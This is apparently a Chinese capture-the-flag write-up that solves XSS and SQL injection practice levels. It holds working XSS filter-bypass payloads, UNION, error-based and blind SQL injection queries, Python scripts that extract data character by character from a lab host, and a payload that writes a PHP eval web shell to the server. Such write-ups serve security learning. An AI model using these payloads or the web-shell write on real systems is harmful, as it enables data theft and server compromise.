XSS
XSS-1、
发现什么都没有,先看看 F12
发现隐藏的信息
在一般的测试中,我们通常使用alert()来触发一个弹窗,表示已经成功向页面中注入了一段恶意js代码。当你成功让页面自动触发一个弹窗,你将会得到flag。(当然,自己手动触发的不算~)
那么我们就在 url 处借助 name 注入 alert() -> ?name= , 得到 flag
XSS-2
STFW
但是没用,F12 看一下,发现变成了编码,可能是尖括号被过滤了
试试其他的,看了下网络源代码,发现只有单引号,双引号变成了 ",只能用单引号
那就只能考虑注入事件属性来 xss ,可以考虑用 onfocus 和 onerror (为了处理第二个单引号)
<input name=keyword value='' onfocus=alert(1) onerror=''>
XSS-3
查看源代码发现是双引号,那上一题的代码换双引号试试,没想到竟然成功了(
XSS-4
稍微试了一下,发现 on 被过滤了 on -> o_n ,script 也被过滤了
用 <a href=javascript:alert('1') > 1</a>
就成功了
用 <img src=javascript:alert(1)>
却失败了,可能是版本不够
XSS-5
稍微试了一下发现 script 被删除了,那么直接双写就好了
alert(1)
删完一个 script 后就只剩下
XSS-6
过滤的字符 -> ” < > &
但是发现源代码里将输入传到了超链接里,尝试使用 javascript:alert(1) 输入
发现超链接中 <a href="javascr_ipt:alert(1);">
,javascript 被过滤了
可以尝试换行来防止过滤,注意换行要在 url 输入,用 %0a
类似这样 -> ?keyword=javascri%0apt:alert(1);&submit=添加友情链接
XSS-7
稍微试一下 ?keyword=…
过滤的字符 -> ” < > ,发现是在 keyword 里面过滤的
因为查看源代码,看到还有三个变量可以输入,分别试了一下,发现只有 t_sort 有用
试一下发现 < > 被过滤了,上网找找有什么好用的事件
有个 onmousemove ,用法 ->
但是同时还要将 t_sort 的 type 改成 text 或者 button
?t_sort=” onmousemove=alert(1) type=”text
【XSS】 全部解决
SQL Injection
学长精品推荐学习资料() -> SQL注入由简入精
SQL-1、
首先可以判断是数字型的查询
我们需要用 order by(或 group by )来判断当前表的列数
?id=1 order by 3
能正常输出且最大,那列数就是3
接着获取当前数据库名称
?id=-1 union select 1,2,database()
id=-1 是为了查询的那一行不回显
然后就可以看看表名了
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
发现目标 flag 表,看看表里的列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='flag'
flag 表里的列名有 id 和 flag,那就直接查询了
?id=-1 union select 1,2,flag from flag
这样就差不多是注入的完整流程了
SQL-2、
判断为数字型查询
?id=2 union select 1,2,databese()
可以通过写错命令来获得库名
?id=2 union select 1,2,extractvalue(1,concat(0x7e,database()))
或者通过 extractvalue() 函数来报错获得库名
原理如上
后面可以
?id=2 union select 1,2,extractvalue(1,concat(0x7e,___))
将下划线部分替换成注入命令就可以通过报错来获得命令的回显了
那么流程就和上一题差不多
但是有一个问题,就是报错默认只能显示32个字符,可以用 substring() 函数解决
试了一下,好像最多只能显示32个字符,但是可以改变开始输出位置
?id=2 union select 1,2,extractvalue(1,concat(0x7e, substring((select flag from flag),1,30) ))
?id=2 union select 1,2,extractvalue(1,concat(0x7e, substring((select flag from flag),31,30) ))
然后接起来就ok(虽然有点麻烦()
也可以使用 updatexml() 函数,或 floor() 函数,详细的可以看上面的学习视频
SQL-3、
http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),1,1))=ascii('a')
类似这样,上面这行注入就什么都不会显示,返回的是 False
http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),1,1))=ascii('Y')
而像上面这行注入就会有显示(比如本题中显示’OK’),返回的是 True,证明得到的第一个字符为 ‘Y’
那就可以写个 python 脚本来一个一个试,最后得到完整的回显(我是写一个一个试,虽然会跑很久(()
(也可以写二分,但是感觉会写出 bug 然后调很久(()
import requests
headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}
now = 1
st = ""
while 1:
ox = 33 # !
x = chr(ox)
url = f"http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),{now},1))=ascii('{x}')"
res = requests.get(url)
while 'OK' not in res.text:
ox += 1
x = chr(ox)
url = f"http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),{now},1))=ascii('{x}')"
res = requests.get(url)
st += x
now += 1
print(x)
if x == '}':
break
print(st)
写的不是很好看()
SQL-4、
其实原理和上一题差不多,也是一个字符一个字符尝试,但是这道题返回 True 也没有回显,那么可以使用 sleep() 函数来判断字符是否正确
那还是用 python 写个脚本来试
import requests
headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}
url="http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),1,1))=ascii('Y'),sleep(2),sleep(0)) "
now = 1
st = ""
while 1:
ox = 33
x = chr(ox)
url = f"http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),{now},1))=ascii('{x}'),sleep(2),sleep(0))"
res = requests.get(url)
t = res.elapsed.total_seconds()
while t < 2 or t > 2.5:
ox += 1
x = chr(ox)
url = f"http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),{now},1))=ascii('{x}'),sleep(2),sleep(0))"
res = requests.get(url)
t = res.elapsed.total_seconds()
st += x
now += 1
print(x)
if x == '}':
break
print(st)
但是这道题有一个相当重要的点,就是 t 的限制范围和网络一定要搞好,不然网卡了接收也会变久,然后就被判断为 True ((
SQL-5、
经典过滤,过滤了 空格 and or union select +等
绕过空格可以用 %0A
绕过 and or union select 等关键词可以用大写绕过,例如 aNd Or uNion sElect等
注意本题的闭合方式是 ?id=1")) ... or (("1"="1
,稍微试一下就知道
那么就可以注入了
?id=0"))%0AUnion%0ASelect%0A1,(Select%0Aflag%0Afrom%0Aflag),3%0AOr%0A(("1"="1
SQL-6、
小试一下
提示是getshell
那就模仿上文
?id=0 union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile '/app/public/666.php'--+
然后用蚁剑连接就行
SQL-7、
有点奇怪,直接POST传就出了,看看是不是题目有问题()
SQL-8、
宽字节注入
那就照样来绕过 addslashes() 函数
?id=0%df" union select 1,2,flag from flag --+